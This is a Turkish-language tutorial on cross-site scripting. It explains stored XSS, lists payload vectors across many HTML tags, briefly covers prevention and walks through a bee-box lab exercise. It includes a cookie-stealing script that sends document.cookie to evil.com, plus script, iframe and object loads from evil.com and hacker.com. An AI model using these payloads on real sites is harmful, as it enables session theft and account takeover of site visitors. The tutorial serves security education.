A3 CROSS-SITE SCRIPTING (XSS) — SİTELER ARASI KOMUT DOSYASI OLUŞTURMA

Ahmet PAYASLIOĞLU
4 min readDec 19, 2019

--

Siteler arası komut dosyası oluşturma (XSS), istemci tarafı kod enjeksiyon saldırısıdır. Saldırgan, meşru bir web sayfasına veya web uygulamasına kötü amaçlı kod ekleyerek kurbanın bir web tarayıcısında kötü amaçlı komut dosyalarını yürütmeyi amaçlamaktadır. Gerçek saldırı, kurbanın kötü amaçlı kodu yürüten web sayfasını veya web uygulamasını ziyaret ettiğinde oluşur. Web sayfası veya web uygulaması, kötü amaçlı betiği kullanıcının tarayıcısına teslim etmek için bir araç haline gelir. Siteler Arası Komut Dosyası saldırıları için yaygın olarak kullanılan savunmasız araçlar forumlar, mesaj panoları ve yorumlara izin veren web sayfalarıdır. Bir web sayfası veya web uygulaması, ürettiği çıktıda kullanıcı girdisi kullanıyorsa XSS’ye karşı savunmasızdır. Bu kullanıcı girdisi daha sonra kurbanın tarayıcısı tarafından ayrıştırılmalıdır. VBScript, ActiveX, Flash ve hatta CSS’de XSS saldırıları mümkündür. Bununla birlikte, JavaScript’te en yaygın olanlardır, çünkü JavaScript çoğu tarama deneyimine temel teşkil eder.

Siteler Arası Komut Dosyası Nasıl Çalışır?

Tipik bir XSS saldırısının iki aşaması vardır:

1. Bir kurbanın tarayıcısında kötü amaçlı JavaScript kodu çalıştırmak için, saldırganın önce kurbanın ziyaret ettiği bir web sayfasına kötü amaçlı kod (yük) enjekte etmenin bir yolunu bulması gerekir.

2. Bundan sonra, kurban kötü amaçlı kodla web sayfasını ziyaret etmelidir. Saldırı belirli kurbanlara yönlendirilirse, saldırgan, mağdura kötü amaçlı bir URL göndermek için sosyal mühendislik ve/veya kimlik avı kullanabilir.

Birinci adımın mümkün olabilmesi için, savunmasız web sitesinin doğrudan kullanıcı girdisini sayfalarına dahil etmesi gerekir. Saldırgan daha sonra web sayfasında kullanılacak ve kurbanın tarayıcısı tarafından kaynak kodu olarak ele alınacak kötü amaçlı bir dize ekleyebilir. Ayrıca, saldırganın kullanıcıyı sosyal mühendislik kullanarak bir URL’yi ziyaret etmesi için cezbettiği ve yükün kullanıcının tıkladığı bağlantının bir parçası olduğu XSS saldırılarının varyantları da vardır. Bir web sayfasında en son yorumu görüntülemek için kullanılan sunucu tarafı sözde kod parçacığı aşağıdadır:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestComment
print "</html>

Yukarıdaki komut sadece bir veritabanından son yorumu alır ve bir HTML sayfasında içerir. Çıkarılan yorumun yalnızca metinden oluştuğunu ve HTML etiketleri veya başka bir kod içermediğini varsayar. Bir saldırgan, örneğin kötü amaçlı bir yük içeren bir yorum gönderebileceğinden, XSS’ye karşı savunmasızdır:

<script>doSomethingEvil();</script>

Web sunucusu, bu web sayfasını ziyaret eden kullanıcılara aşağıdaki HTML kodunu sağlar

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Sayfa kurbanın tarayıcısına yüklendiğinde, saldırganın kötü amaçlı komut dosyası çalıştırılır. Çoğu zaman, kurban bunu fark etmez ve böyle bir saldırıyı önleyemez.

XSS Kullanarak Çerezleri Çalmak

Suçlular genellikle çerezleri çalmak için XSS kullanırlar. Bu, kurbanın kimliğine bürünmelerini sağlar. Saldırgan, çerezi kendi sunucularına birçok yönden gönderebilir. Bunlardan biri, kurbanın tarayıcısında aşağıdaki istemci tarafı komut dosyasını çalıştırmaktır:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

Aşağıdaki şekil, basit bir XSS saldırısının adım adım izlenmesini göstermektedir

1. Saldırgan, kötü amaçlı JavaScript içeriğiyle savunmasız bir form göndererek web sitesinin veritabanına bir yük enjekte eder.

2. Kurban, web sunucusundan web sayfasını ister.

3. Web sunucusu, kurbanın tarayıcısına, HTML gövdesinin bir parçası olarak saldırganın yükünü içeren sayfayı sunar.

4. Kurbanın tarayıcısı, HTML gövdesinde bulunan kötü amaçlı komut dosyasını çalıştırır. Bu durumda kurbanın tanımlama bilgisini saldırganın sunucusuna gönderir.

5. Saldırganın artık HTTP isteği sunucuya geldiğinde kurbanın tanımlama bilgisini ayıklaması yeterlidir.

6. Saldırgan artık kurbanın çalınan çerezini kimliğe bürünmek için kullanabilir.

Siteler Arası Komut Dosyası Saldırı Vektörleri

Aşağıda, bir saldırganın bir XSS saldırısı yoluyla bir web sitesinin veya web uygulamasının güvenliğini tehlikeye atması için kullanabileceği yaygın XSS saldırı vektörlerinin listesi yer almaktadır.

<script> etiketi

<script> Etiket en basit XSS yüküdür. Bir komut dosyası etiketi harici JavaScript koduna başvurabilir veya kodu komut etiketi içinde gömebilirsiniz

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

JavaScript olayları

Onload ve onerror gibi JavaScript olay nitelikleri birçok farklı etikette kullanılabilir. Bu çok popüler bir XSS saldırı vektörüdür

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> etiketi

Bir XSS yükü, <body> olay öznitelikleri kullanarak (yukarıya bakın) veya arka plan özniteliği gibi diğer daha belirsiz öznitelikleri teslim edilebilir.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> etiketi

Bazı tarayıcılar, <img> özniteliklerde bulunan JavaScript’i çalıştırır.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!--  tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> etiketi

<iframe> Etiket, geçerli sayfaya başka bir HTML sayfası gömmenizi sağlar. IFrame JavaScript içerebilir, ancak IFrame’deki JavaScript, tarayıcının İçerik Güvenliği İlkesi (CSP) nedeniyle üst sayfanın DOM’una erişimi yoktur. Ancak, IFrames kimlik avı saldırılarını gerçekleştirmek için hala çok etkilidir.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> etiketi

Bazı tarayıcılarda, <input> etiketin tür niteliği görüntüye ayarlanmışsa, bir komut dosyasını gömmek için manipüle edilebilir.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

<link> etiketi

<link> Genellikle dış stil sayfelerine bağlanmak için kullanılan etiket bir komut dosyası içerebilir.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> etiketi

<table> ve <td> etiketlerin arka plan özniteliği, bir görüntü yerine bir komut dosyasına başvurmak için kullanılabilir.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<div> etiketi

<div> Etiket, <table> ve <td> etiketlere benzer şekilde bir arka plan belirleyebilir ve bu nedenle bir komut dosyası gömebilir.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<object> etiketi

<object> Etiket, harici bir siteden bir komut dosyası eklemek için kullanılabilir.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

XSS Nasıl Engellenilir?

XSS'den kendinizi güvende tutmak için, girişinizi sterilize etmeniz gerekir. Uygulama kodunuz, kötü amaçlı kod olup olmadığını kontrol etmeden doğrudan tarayıcıya giriş olarak alınan verileri asla çıkmamalıdır. Ayrıca yararlı bilgiler OWASP kuruluş tarafından tutulan XSS Önleme Hile Sayfası bulabilirsiniz.

https://portswigger.net/web-security/cross-site-scripting

Uygulama-1 Reflected(GET) (Low Level)

Adım 1. Bee-box makinamızı saldırgan makinamız üzerinden çalıştırarak giriş yapıyoruz. Sonrasında XSS – Reflected (GET) zafiyetini seçerek, seçili olan seviyenin low olduğundan emin oluyoruz. Aşağıdada görüldüğü gibi İsim ve Soyisim girmemizi bekleyen textbox görüntüsünü elde ediyoruz.

Adım 2- Textbox alanlarına <script> alert(“AhmetPayaslıoğlu”) </script> etiketini yazarak Go butonuna tıklıyoruz.

Adım 3- Textbox alanlarına <script>alert(document.domain)</script> tag ifadeleri girerek de IP adresini görüntüleyebiliriz.

--

--